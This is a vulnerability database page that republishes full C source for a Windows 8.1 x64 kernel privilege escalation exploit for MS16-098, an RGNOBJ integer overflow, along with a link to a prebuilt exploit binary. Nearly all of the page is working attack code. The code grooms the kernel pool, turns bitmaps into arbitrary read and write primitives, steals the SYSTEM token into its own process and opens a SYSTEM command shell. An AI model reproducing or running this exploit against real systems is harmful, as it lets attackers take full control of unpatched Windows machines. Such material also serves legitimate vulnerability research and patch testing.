Lucene search
K

Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) Exploit

🗓️ 12 Jan 2017 00:00:00Reported by SaifType 
zdt
 zdt
🔗 0day.today👁 36 Views

Windows 8.1 RGNOBJ Integer Overflow MS16-098 Exploi

Code
// Source: https://github.com/sensepost/ms16-098/tree/b85b8dfdd20a50fc7bc6c40337b8de99d6c4db80
// Binary: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41020.exe
 
#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
 
HANDLE hWorker, hManager;
BYTE *bits;
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
    DWORD UniqueProcessIdOffset;
    DWORD TokenOffset;
} VersionSpecificConfig;
 
VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1
 
 
void AllocateClipBoard2(unsigned int size) {
    BYTE *buffer;
    buffer = malloc(size);
    memset(buffer, 0x41, size);
    buffer[size - 1] = 0x00;
    const size_t len = size;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    memcpy(GlobalLock(hMem), buffer, len);
    GlobalUnlock(hMem);
    //OpenClipboard(0);
    //EmptyClipboard();
    SetClipboardData(CF_TEXT, hMem);
    //CloseClipboard();
    //GlobalFree(hMem);
}
 
 
 
 
static HBITMAP bitmaps[5000];
 
void fungshuei() {
    HBITMAP bmp;
    // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
    for (int k = 0; k < 5000; k++) {
        //bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70
        bmp = CreateBitmap(1670, 2, 1, 8, NULL);                                         // 1680  = 0xf80 1685 = 0xf90 allocation size 0xfa0
        bitmaps[k] = bmp;
    }
 
    HACCEL hAccel, hAccel2;
    LPACCEL lpAccel;
    // Initial setup for pool fengshui.  
    lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
    SecureZeroMemory(lpAccel, sizeof(ACCEL));
    // Allocating  7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
    HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
    HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
    for (INT i = 0; i < 7000; i++) {
        hAccel = CreateAcceleratorTableA(lpAccel, 1);
        hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
        pAccels[i] = hAccel;
        pAccels2[i] = hAccel2;
    }
    // Delete the allocated bitmaps to free space at beiginig of pages
    for (int k = 0; k < 5000; k++) {
        DeleteObject(bitmaps[k]);
    }
    //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
    for (int k = 0; k < 5000; k++) {
        CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
    }
    // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
    for (int k = 0; k < 5000; k++) {
        bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0
        bitmaps[k] = bmp;
    }
    // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
    for (int k = 0; k < 1700; k++) { //1500
        AllocateClipBoard2(0x30);
    }
    // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
    for (int k = 2000; k < 4000; k++) {
        DestroyAcceleratorTable(pAccels[k]);
        DestroyAcceleratorTable(pAccels2[k]);
    }
     
}
 
void SetAddress(BYTE* address) {
    for (int i = 0; i < sizeof(address); i++) {
        bits[0xdf0 + i] = address[i];
    }
    SetBitmapBits(hManager, 0x1000, bits);
}
void WriteToAddress(BYTE* data) {
    SetBitmapBits(hWorker, sizeof(data), data);
}
 
LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) {
    SetAddress((BYTE *)&src);
    return GetBitmapBits(hWorker, len, dst);
}
 
// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
    ULONG64 Bases[0x1000];
    DWORD needed = 0;
    ULONG64 krnlbase = 0;
    if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
        krnlbase = Bases[0];
    }
    return krnlbase;
}
 
// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
    // load ntoskrnl.exe
 
    ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
    // get address of exported PsInitialSystemProcess variable
    ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
    FreeLibrary((HMODULE)ntos);
    ULONG64 res = 0;
    ULONG64 ntOsBase = GetNTOsBase();
    // subtract addr from ntos to get PsInitialSystemProcess offset from base
    if (ntOsBase) {
        ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
    }
    return res;
}
 
// Get EPROCESS for current process
ULONG64 PsGetCurrentProcess()
{
    ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
 
     // walk ActiveProcessLinks until we find our Pid
    LIST_ENTRY ActiveProcessLinks;
    ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
 
    ULONG64 res = 0;
 
    while (TRUE) {
        ULONG64 UniqueProcessId = 0;
 
        // adjust EPROCESS pointer for next entry
        pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
        // get pid
        ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
        // is this our pid?
        if (GetCurrentProcessId() == UniqueProcessId) {
            res = pEPROCESS;
            break;
        }
        // get next entry
        ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
        // if next same as last, we reached the end
        if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
            break;
    }
    return res;
}
 
void main(int argc, char* argv[]) {
    HDC hdc = GetDC(NULL);
    HDC hMemDC = CreateCompatibleDC(hdc);
    HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
    HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
 
    static POINT points[0x3fe01];
 
    for (int l = 0; l < 0x3FE00; l++) {
        points[l].x = 0x5a1f;
        points[l].y = 0x5a1f;
    }
    points[2].y = 20;
    points[0x3FE00].x = 0x4a1f;
    points[0x3FE00].y = 0x6a1f;
 
    if (!BeginPath(hMemDC)) {
        fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
    }   
 
    for (int j = 0; j < 0x156; j++) {
        if (j > 0x1F && points[2].y != 0x5a1f) {
            points[2].y = 0x5a1f;
        }
        if (!PolylineTo(hMemDC, points, 0x3FE01)) {
            fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
        }
    }
 
    EndPath(hMemDC);
    //Kernel Pool Fung=Shuei
    fungshuei();
    //getchar();
     
    fprintf(stdout, "[+] Trigerring Exploit.\r\n");
    if (!FillPath(hMemDC)) {
            fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
        }
    printf("%s\r\n", "Done filling.");
 
    HRESULT res;
    VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!fake) {
        fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
    }
    memset(fake, 0x1, 0x100);
     
    bits = malloc(0x1000);
    memset(bits, 0x42, 0x1000);
    for (int k=0; k < 5000; k++) {
 
        res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
        if (res > 0x150) {
            fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
            hManager = bitmaps[k];
            hWorker = bitmaps[k + 1];
 
            // Get Gh05 header to fix overflown header.
            static BYTE Gh04[0x9];
            fprintf(stdout, "\r\nGh04 header:\r\n");
            for (int i = 0; i < 0x10; i++){
                Gh04[i] = bits[0x1d0 + i];
                fprintf(stdout, "%02x", bits[0x1d0 + i]);
            }
             
            // Get Gh05 header to fix overflown header.
            static BYTE Gh05[0x9];
            fprintf(stdout, "\r\nGh05 header:\r\n");
            for (int i = 0; i < 0x10; i++) {
                Gh05[i] = bits[0xd90 + i];
                fprintf(stdout, "%02x", bits[0xd90 + i]);
            }
 
            // Address of Overflown Gh04 object header
            static BYTE addr1[0x7];
            fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
            for (int j = 0; j < 0x8; j++) {
                addr1[j] = bits[0x210 + j];
                fprintf(stdout, "%02x", bits[0x210 + j]);
            }
            //Get pvscan0 address of second Gh05 object
            static BYTE* pvscan[0x07];
            fprintf(stdout, "\r\nPvsca0:\r\n");
            for (int i = 0; i < 0x8; i++) {
                pvscan[i] = bits[0xdf0 + i];
                fprintf(stdout, "%02x", bits[0xdf0 + i]);
            }
 
            // Calculate address to overflown Gh04 object header.
            addr1[0x0] = 0;
            int u = addr1[0x1];
            u = u - 0x10;
            addr1[1] = u;
             
            //Fix overflown Gh04 object Header
            SetAddress(addr1);
            WriteToAddress(Gh04);
 
            // Calculate address to overflown Gh05 object header.
            addr1[0] = 0xc0;
            int y = addr1[1];
            y = y + 0xb;
            addr1[1] = y;
 
            //Fix overflown Gh05 object Header
            SetAddress(addr1);
            WriteToAddress(Gh05);
 
            // get System EPROCESS
            ULONG64 SystemEPROCESS = PsInitialSystemProcess();
            //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
            ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
            //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
            ULONG64 SystemToken = 0;
            // read token from system process
            ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
            // write token to current process
            ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
            SetAddress((BYTE *)&CurProccessAddr);
             
            WriteToAddress((BYTE *)&SystemToken);
            // Done and done. We're System :)
            system("cmd.exe");
             
            break;
        }
        if (res == 0) {
            fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
        }
    }
    getchar();
    //clean up
    DeleteObject(bitobj);
    DeleteObject(bitmap);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hdc);
    VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
    //free(points);
     
}

#  0day.today [2018-02-20]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation